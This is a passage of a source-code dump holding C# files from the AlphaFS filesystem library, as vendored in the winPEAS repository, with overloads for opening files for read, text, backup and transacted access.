Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; using System.Security; using System.Security.AccessControl; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Opens the specified file for reading purposes bypassing security attributes. /// The file path to open. /// Indicates the format of the path parameter(s). /// A on the specified path, having the read-only mode and sharing options. [SecurityCritical] public static FileStream OpenBackupRead(string path, PathFormat pathFormat) { return OpenCore(null, path, FileMode.Open, FileSystemRights.ReadData, FileShare.None, ExtendedFileAttributes.BackupSemantics | ExtendedFileAttributes.SequentialScan | ExtendedFileAttributes.ReadOnly, null, null, pathFormat); } /// [AlphaFS] Opens the specified file for reading purposes bypassing security attributes. This method is simpler to use then BackupFileStream to read only file's data stream. /// The file path to open. /// A on the specified path, having the read-only mode and sharing options. [SecurityCritical] public static FileStream OpenBackupRead(string path) { return OpenCore(null, path, FileMode.Open, FileSystemRights.ReadData, FileShare.None, ExtendedFileAttributes.BackupSemantics | ExtendedFileAttributes.SequentialScan | ExtendedFileAttributes.ReadOnly, null, null, PathFormat.RelativePath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.OpenBackupReadTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; using System.Security; using System.Security.AccessControl; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Opens the specified file for reading purposes bypassing security attributes. /// The transaction. /// The file path to open. /// Indicates the format of the path parameter(s). /// A on the specified path, having the read-only mode and sharing options. [SecurityCritical] public static FileStream OpenBackupReadTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return OpenCore(transaction, path, FileMode.Open, FileSystemRights.ReadData, FileShare.None, ExtendedFileAttributes.BackupSemantics | ExtendedFileAttributes.SequentialScan | ExtendedFileAttributes.ReadOnly, null, null, pathFormat); } /// [AlphaFS] Opens the specified file for reading purposes bypassing security attributes. /// The transaction. /// The file path to open. /// A on the specified path, having the read-only mode and sharing options. [SecurityCritical] public static FileStream OpenBackupReadTransacted(KernelTransaction transaction, string path) { return OpenCore(transaction, path, FileMode.Open, FileSystemRights.ReadData, FileShare.None, ExtendedFileAttributes.BackupSemantics | ExtendedFileAttributes.SequentialScan | ExtendedFileAttributes.ReadOnly, null, null, PathFormat.RelativePath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.OpenRead.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; using System.Security; using FileStream = System.IO.FileStream; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region .NET /// Opens an existing file for reading. /// The file to be opened for reading. /// A read-only on the specified path. /// /// This method is equivalent to the (string, FileMode, FileAccess, FileShare) constructor overload with a /// value of Open, a value of Read and a value of Read. /// [SecurityCritical] public static FileStream OpenRead(string path) { return Open(path, FileMode.Open, FileAccess.Read, FileShare.Read); } #endregion // .NET /// [AlphaFS] Opens an existing file for reading. /// The file to be opened for reading. /// Indicates the format of the path parameter(s). /// A read-only on the specified path. /// /// This method is equivalent to the (string, FileMode, FileAccess, FileShare) constructor overload with a /// value of Open, a value of Read and a value of Read. /// [SecurityCritical] public static FileStream OpenRead(string path, PathFormat pathFormat) { return Open(path, FileMode.Open, FileAccess.Read, FileShare.Read, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.OpenReadTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; using System.Security; using FileStream = System.IO.FileStream; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Opens an existing file for reading. /// The transaction. /// The file to be opened for reading. /// A read-only on the specified path. /// /// This method is equivalent to the (string, FileMode, FileAccess, FileShare) constructor overload with a /// value of Open, a value of Read and a value of Read. /// [SecurityCritical] public static FileStream OpenReadTransacted(KernelTransaction transaction, string path) { return OpenTransacted(transaction, path, FileMode.Open, FileAccess.Read, FileShare.Read); } /// [AlphaFS] Opens an existing file for reading. /// The transaction. /// The file to be opened for reading. /// Indicates the format of the path parameter(s). /// A read-only on the specified path. /// /// This method is equivalent to the (string, FileMode, FileAccess, FileShare) constructor overload with a /// value of Open, a value of Read and a value of Read. /// [SecurityCritical] public static FileStream OpenReadTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return OpenTransacted(transaction, path, FileMode.Open, FileAccess.Read, FileShare.Read, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.OpenText.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.IO; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region .NET /// Opens an existing UTF-8 encoded text file for reading. /// The file to be opened for reading. /// A on the specified path. /// This method is equivalent to the (String) constructor overload. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] public static StreamReader OpenText(string path) { return new StreamReader(OpenRead(path), NativeMethods.DefaultFileEncoding); } #endregion // .NET /// [AlphaFS] Opens an existing UTF-8 encoded text file for reading. /// The file to be opened for reading. /// Indicates the format of the path parameter(s). /// A on the specified path. /// This method is equivalent to the (String) constructor overload. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] public static StreamReader OpenText(string path, PathFormat pathFormat) { return new StreamReader(OpenRead(path, pathFormat), NativeMethods.DefaultFileEncoding); } /// [AlphaFS] Opens an existing encoded text file for reading. /// The file to be opened for reading. /// The applied to the contents of the file. /// Indicates the format of the path parameter(s). /// A on the specified path. /// This method is equivalent to the (String) constructor overload. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] public static StreamReader OpenText(string path, Encoding encoding, PathFormat pathFormat) { return new StreamReader(OpenRead(path, pathFormat), encoding); } /// [AlphaFS] Opens an existing encoded text file for reading. /// The file to be opened for reading. /// The applied to the contents of the file. /// A on the specified path. /// This method is equivalent to the (String) constructor overload. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] public static StreamReader OpenText(string path, Encoding encoding) { return new StreamReader(OpenRead(path), encoding); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.OpenTextTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.IO; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Opens an existing UTF-8 encoded text file for reading. /// The transaction. /// The file to be opened for reading. /// A on the specified path. /// This method is equivalent to the (String) constructor overload. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] public static StreamReader OpenTextTransacted(KernelTransaction transaction, string path) { return new StreamReader(OpenReadTransacted(transaction, path), NativeMethods.DefaultFileEncoding); } /// [AlphaFS] Opens an existing UTF-8 encoded text file for reading. /// The transaction. /// The file to be opened for reading. /// Indicates the format of the path parameter(s). /// A on the specified path. /// This method is equivalent to the (String) constructor overload. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] public static StreamReader OpenTextTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return new StreamReader(OpenReadTransacted(transaction, path, pathFormat), NativeMethods.DefaultFileEncoding); } /// [AlphaFS] Opens an existing encoded text file for reading. /// The transaction. /// The file to be opened for reading. /// The applied to the contents of the file. /// A on the specified path. /// This method is equivalent to the (String) constructor overload. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] public static StreamReader OpenTextTransacted(KernelTransaction transaction, string path, Encoding encoding) { return new StreamReader(OpenReadTransacted(transaction, path), encoding); } /// [AlphaFS] Opens an existing encoded text file for reading. /// The transaction. /// The file to be opened for reading. /// The applied to the contents of the file. /// Indicates the format of the path parameter(s). /// A on the specified path. /// This method is equivalent to the (String) constructor overload. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] public static StreamReader OpenTextTransacted(KernelTransaction transaction, string path, Encoding encoding, PathFormat pathFormat) { return new StreamReader(OpenReadTransacted(transaction, path, pathFormat), encoding); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.OpenTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; using System.Security; using System.Security.AccessControl; using FileStream = System.IO.FileStream; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] (Transacted) Opens a on the specified path with read/write access. /// The transaction. /// The file to open. /// /// A value that specifies whether a file is created if one does not exist, and determines whether the contents /// of existing files are retained or overwritten. /// /// A opened in the specified mode and path, with read/write access and not shared. [SecurityCritical] public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode) { return OpenCore(transaction, path, mode, mode == FileMode.Append ? FileAccess.Write : FileAccess.ReadWrite, FileShare.None, ExtendedFileAttributes.Normal, null, null, PathFormat.RelativePath); } /// [AlphaFS] (Transacted) Opens a on the specified path with read/write access. /// The transaction. /// The file to open. /// /// A value that specifies whether a file is created if one does not exist, and determines whether the contents /// of existing files are retained or overwritten. /// /// Indicates the format of the path parameter(s). /// A opened in the specified mode and path, with read/write access and not shared. [SecurityCritical] public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, PathFormat pathFormat) { return OpenCore(transaction, path, mode, mode == FileMode.Append ? FileAccess.Write : FileAccess.ReadWrite, FileShare.None, ExtendedFileAttributes.Normal, null, null, pathFormat); } #region Using FileAccess /// [AlphaFS] (Transacted) Opens a on the specified path, with the specified mode and access. /// The transaction. /// The file to open. /// /// A value that specifies whether a file is created if one does not exist, and determines whether the contents /// of existing files are retained or overwritten. /// /// A value that specifies the operations that can be performed on the file. /// /// An unshared that provides access to the specified file, with the specified mode and access. /// [SecurityCritical] public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileAccess access) { return OpenCore(transaction, path, mode, access, FileShare.None, ExtendedFileAttributes.Normal, null, null, PathFormat.RelativePath); } /// [AlphaFS] (Transacted) Opens a on the specified path, having the specified mode with read, write, or read/write access and the specified sharing option. /// The transaction. /// The file to open. /// /// A value that specifies whether a file is created if one does not exist, and determines whether the contents /// of existing files are retained or overwritten. /// /// A value that specifies the operations that can be performed on the file. /// A value specifying the type of access other threads have to the file. /// /// A on the specified path, having the specified mode with read, write, or read/write access and the /// specified sharing option. /// [SecurityCritical] public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileAccess access, FileShare share) { return OpenCore(transaction, path, mode, access, share, ExtendedFileAttributes.Normal, null, null, PathFormat.RelativePath); } /// [AlphaFS] (Transacted) Opens a on the specified path, with the specified mode and access. /// The transaction. /// The file to open. /// /// A value that specifies whether a file is created if one does not exist, and determines whether the contents /// of existing files are retained or overwritten. /// /// A value that specifies the operations that can be performed on the file. /// Indicates the format of the path parameter(s). /// /// An unshared that provides access to the specified file, with the specified mode and access. /// [SecurityCritical] public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileAccess access, PathFormat pathFormat) { return OpenCore(transaction, path, mode, access, FileShare.None, ExtendedFileAttributes.Normal, null, null, pathFormat); } /// [AlphaFS] (Transacted) Opens a on the specified path, having the specified mode with read, write, or read/write access and the specified sharing option. /// The transaction. /// The file to open. /// A value that specifies whether a file is created if one does not exist, and determines whether the contents of existing files are retained or overwritten. /// A value that specifies the operations that can be performed on the file. /// A value specifying the type of access other threads have to the file. /// Indicates the format of the path parameter(s). /// A on the specified path, having the specified mode with read, write, or read/write access and the specified sharing option. [SecurityCritical] public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileAccess access, FileShare share, PathFormat pathFormat) { return OpenCore(transaction, path, mode, access, share, ExtendedFileAttributes.Normal, null, null, pathFormat); } /// [AlphaFS] (Transacted) Opens a on the specified path, having the specified mode with read, write, or read/write access and the specified sharing option. /// The transaction. /// The file to open. /// /// A value that specifies whether a file is created if one does not exist, and determines whether the contents /// of existing files are retained or overwritten. /// /// A value that specifies the operations that can be performed on the file. /// A value specifying the type of access other threads have to the file. /// The extended attributes. /// Indicates the format of the path parameter(s). /// /// A on the specified path, having the specified mode with read, write, or read/write access and the /// specified sharing option. /// [SecurityCritical] public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileAccess access, FileShare share, ExtendedFileAttributes extendedAttributes, PathFormat pathFormat) { return OpenCore(transaction, path, mode, access, share, extendedAttributes, null, null, pathFormat); } /// [AlphaFS] (Transacted) Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The transaction. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileAccess access, FileShare share, int bufferSize) { return OpenCore(transaction, path, mode, access, share, ExtendedFileAttributes.Normal, bufferSize, null, PathFormat.RelativePath); } /// [AlphaFS] (Transacted) Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The transaction. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// Specifies whether to use asynchronous I/O or synchronous I/O. However, note that the /// underlying operating system might not support asynchronous I/O, so when specifying true, the handle might be /// opened synchronously depending on the platform. When opened asynchronously, the BeginRead and BeginWrite methods /// perform better on large reads or writes, but they might be much slower for small reads or writes. If the /// application is designed to take advantage of asynchronous I/O, set the useAsync parameter to true. Using /// asynchronous I/O correctly can speed up applications by as much as a factor of 10, but using it without /// redesigning the application for asynchronous I/O can decrease performance by as much as a factor of 10. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, bool useAsync) { return OpenCore(transaction, path, mode, access, share, ExtendedFileAttributes.Normal | (useAsync ? ExtendedFileAttributes.Overlapped : ExtendedFileAttributes.Normal), bufferSize, null, PathFormat.RelativePath); } /// [AlphaFS] (Transacted) Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The transaction. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// A value that specifies additional file options. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, FileOptions options) { return OpenCore(transaction, path, mode, access, share, (ExtendedFileAttributes) options, bufferSize, null, PathFormat.RelativePath); } /// [AlphaFS] (Transacted) Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The transaction. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// The extended attributes specifying additional options. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, ExtendedFileAttributes extendedAttributes) { return OpenCore(transaction, path, mode, access, share, extendedAttributes, bufferSize, null, PathFormat.RelativePath); } /// [AlphaFS] (Transacted) Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The transaction. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// Indicates the format of the path parameter. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, PathFormat pathFormat) { return OpenCore(transaction, path, mode, access, share, ExtendedFileAttributes.Normal, bufferSize, null, pathFormat); } /// [AlphaFS] (Transacted) Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The transaction. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// Specifies whether to use asynchronous I/O or synchronous I/O. However, note that the /// underlying operating system might not support asynchronous I/O, so when specifying true, the handle might be /// opened synchronously depending on the platform. When opened asynchronously, the BeginRead and BeginWrite methods /// perform better on large reads or writes, but they might be much slower for small reads or writes. If the /// application is designed to take advantage of asynchronous I/O, set the useAsync parameter to true. Using /// asynchronous I/O correctly can speed up applications by as much as a factor of 10, but using it without /// redesigning the application for asynchronous I/O can decrease performance by as much as a factor of 10. /// Indicates the format of the path parameter. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, bool useAsync, PathFormat pathFormat) { return OpenCore(transaction, path, mode, access, share, ExtendedFileAttributes.Normal | (useAsync ? ExtendedFileAttributes.Overlapped : ExtendedFileAttributes.Normal), bufferSize, null, pathFormat); } /// [AlphaFS] (Transacted) Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The transaction. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// A value that specifies additional file options. /// Indicates the format of the path parameter. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, FileOptions options, PathFormat pathFormat) { return OpenCore(transaction, path, mode, access, share, (ExtendedFileAttributes) options, bufferSize, null, pathFormat); } /// [AlphaFS] (Transacted) Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The transaction. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// The extended attributes specifying additional options. /// Indicates the format of the path parameter. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, ExtendedFileAttributes extendedAttributes, PathFormat pathFormat) { return OpenCore(transaction, path, mode, access, share, extendedAttributes, bufferSize, null, pathFormat); } #endregion // Using FileAccess #region Using FileSystemRights /// [AlphaFS] (Transacted) Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The transaction. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// A value that specifies additional file options. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, FileOptions options) { return OpenCore(transaction, path, mode, rights, share, (ExtendedFileAttributes) options, bufferSize, null, PathFormat.RelativePath); } /// [AlphaFS] (Transacted) Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The transaction. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// Extended attributes specifying additional options. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, ExtendedFileAttributes extendedAttributes) { return OpenCore(transaction, path, mode, rights, share, extendedAttributes, bufferSize, null, PathFormat.RelativePath); } /// [AlphaFS] (Transacted) Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The transaction. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// A value that specifies additional file options. /// A value that determines the access control and audit security for the file. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, FileOptions options, FileSecurity security) { return OpenCore(transaction, path, mode, rights, share, (ExtendedFileAttributes) options, bufferSize, security, PathFormat.RelativePath); } /// [AlphaFS] (Transacted) Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The transaction. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// Extended attributes specifying additional options. /// A value that determines the access control and audit security for the file. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, ExtendedFileAttributes extendedAttributes, FileSecurity security) { return OpenCore(transaction, path, mode, rights, share, extendedAttributes, bufferSize, security, PathFormat.RelativePath); } /// [AlphaFS] (Transacted) Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The transaction. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// A value that specifies additional file options. /// Indicates the format of the path parameter. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, FileOptions options, PathFormat pathFormat) { return OpenCore(transaction, path, mode, rights, share, (ExtendedFileAttributes) options, bufferSize, null, pathFormat); } /// [AlphaFS] (Transacted) Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The transaction. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be 